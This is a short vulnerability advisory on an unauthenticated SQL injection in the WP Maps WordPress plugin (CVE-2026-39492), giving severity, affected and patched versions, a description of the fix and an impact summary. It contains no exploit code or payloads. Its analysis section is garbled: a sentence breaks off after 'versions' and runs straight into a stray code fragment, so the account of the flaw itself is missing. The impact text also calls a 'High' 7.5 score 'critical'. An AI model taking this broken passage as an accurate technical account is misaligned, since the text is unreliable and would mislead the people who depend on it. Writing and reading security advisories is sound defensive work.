CVE-2026-39492: WP Maps – Store Locator,Google Maps,OpenStreetMap,Mapbox,Listing,Directory & Filters <= 4.9.1 – Unauthenticated SQL Injection (wp-google-map-plugin)

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 4.9.1
Patched Version 4.9.2
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-39492:
The WP Maps plugin (versions allowed_columns, true)`. It also adds regex validation with `/^[a-zA-Z0-9_]+$/` to ensure only valid column names pass. The WHERE clause construction (lines 218-238) now properly escapes all non-column values and sanitizes column references with backtick trimming. Additionally, the patch removes the `wp_ajax_nopriv_wpgmp_ajax_call` hook, restricting AJAX access to authenticated users only.

Impact:
Successful exploitation enables complete database compromise. Attackers can extract sensitive information including WordPress user credentials, plugin configuration data, and any other database content. The vulnerability also allows attackers to modify or delete database records, potentially leading to site defacement, privilege escalation, or complete site takeover. With a CVSS score of 7.5 (High severity), this represents a critical risk to affected WordPress installations.
